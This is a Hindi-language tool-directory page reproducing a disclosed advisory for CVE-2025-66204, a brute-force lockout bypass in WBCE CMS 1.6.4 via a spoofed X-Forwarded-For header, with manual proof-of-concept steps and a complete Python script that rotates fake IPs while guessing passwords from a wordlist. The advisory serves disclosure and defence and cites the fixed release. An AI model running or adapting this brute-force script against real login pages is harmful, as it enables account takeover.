Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-66204 — CVE-2025-66204 - WBCE CMS X-Forwarded-For हेडर का उपयोग करके ब्रूट-फोर्स सुरक्षा को बायपास करने की अनुमति देता है | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2025-66204
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणपेपर और शोधलर्निंग और शिक्षा
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204 - WBCE CMS X-Forwarded-For हेडर का उपयोग करके ब्रूट-फोर्स सुरक्षा को बायपास करने की अनुमति देता है

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-66204: WBCE CMS X-Forwarded-For हेडर का उपयोग करके ब्रूट-फोर्स सुरक्षा बायपास की अनुमति देता है

अवलोकन

फ़ील्डविवरण
CVE IDCVE-2025-66204
गंभीरताMEDIUM
परामर्शपरामर्श देखें
खोजकर्ताLukasz Rybak

प्रभावित उत्पाद

  • WBCE/WBCE_CMS

विवरण

सारांश

WBCE CMS 1.6.4 में ब्रूट-फोर्स सुरक्षा बायपास मौजूद है। लॉगिन थ्रॉटलिंग तंत्र 5 असफल लॉगिन प्रयासों के बाद एक IP पते को ब्लॉक कर देता है। हालाँकि, एप्लिकेशन X-Forwarded-For हेडर पर पूरी तरह भरोसा करता है, बिना उसे सत्यापित किए या उसके उपयोग को प्रतिबंधित किए।

प्रत्येक अनुरोध पर X-Forwarded-For को संशोधित करके, एक हमलावर काउंटर को अनिश्चित काल तक रीसेट कर सकता है और असीमित पासवर्ड अनुमान लगाने के प्रयास प्राप्त कर सकता है, जिससे सभी ब्रूट-फोर्स सुरक्षा प्रभावी रूप से बायपास हो जाती है।

विवरण

WBCE CMS निम्नलिखित तर्क का उपयोग करके क्लाइंट IP का निर्धारण करता है:

  1. यदि अनुरोध में X-Forwarded-For हेडर मौजूद है, तो एप्लिकेशन उसके मान पर आँख बंद करके भरोसा करता है।
  2. अन्यथा, यह REMOTE_ADDR पर वापस चला जाता है।

हालाँकि WBCE डिफ़ॉल्ट रूप से किसी रिवर्स प्रॉक्सी के पीछे नहीं चल रहा है, फिर भी लॉगिन एंडपॉइंट X-Forwarded-For को पार्स करता है, जब भी वह मौजूद होता है, भले ही उसे क्लाइंट द्वारा मैन्युअल रूप से जोड़ा गया हो।

चूँकि एप्लिकेशन यह सत्यापित नहीं करता कि अनुरोध किसी विश्वसनीय प्रॉक्सी से उत्पन्न हुआ है, एक हमलावर किसी भी मनमाने IP पते के साथ अपना स्वयं का X-Forwarded-For हेडर इंजेक्ट कर सकता है।

इसका परिणाम यह होता है:

  • हमलावर X-Forwarded-For: 10.0.0.1 का उपयोग करके 5 गलत पासवर्ड भेजता है → वह IP ब्लॉक हो जाता है
  • हमलावर अगला अनुरोध X-Forwarded-For: 10.0.0.2 के साथ भेजता है → इसे पूरी तरह से नया IP माना जाता है
  • ब्रूट-फोर्स सुरक्षा को अनिश्चित काल तक बायपास किया जा सकता है

यह व्यवहार WBCE CMS के सामने बिना किसी रिवर्स प्रॉक्सी के, एक साफ़, डिफ़ॉल्ट इंस्टॉलेशन पर दोहराया जा सकता है।

PoC

चरण

गलत पासवर्ड के साथ लॉगिन करने का प्रयास करें और हेडर भेजें:

X-Forwarded-For: 10.0.0.10

लॉकआउट होने तक (5 प्रयासों के बाद) दोहराएँ।

छवि

हेडर बदलें:

X-Forwarded-For: 10.0.0.11

लॉगिन प्रयास रीसेट हो जाते हैं और फिर से अनुमति मिल जाती है।

छवि

10.0.0.x के माध्यम से IP घुमाते रहें और बिना किसी सीमा के ब्रूट-फोर्स करें।

स्वचालित PoC स्क्रिप्ट

मैंने एक Python स्क्रिप्ट बनाई है जो हर चार प्रयासों में स्पूफ़ किए गए IP को घुमाते हुए और सफल लॉगिन का पता लगाते हुए स्वचालित रूप से हमले को अंजाम देती है।

छवि ... छवि छवि

यह सुरक्षा के पूर्ण बायपास को सिद्ध करता है।

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

प्रभाव

  1. किसी भी खाते की असीमित ब्रूट-फोर्सिंग;
  2. व्यवस्थापक खातों से समझौता होने की संभावना;
  3. कोई रेट-लिमिटिंग लागू नहीं;

संदर्भ

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

अस्वीकरण

यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें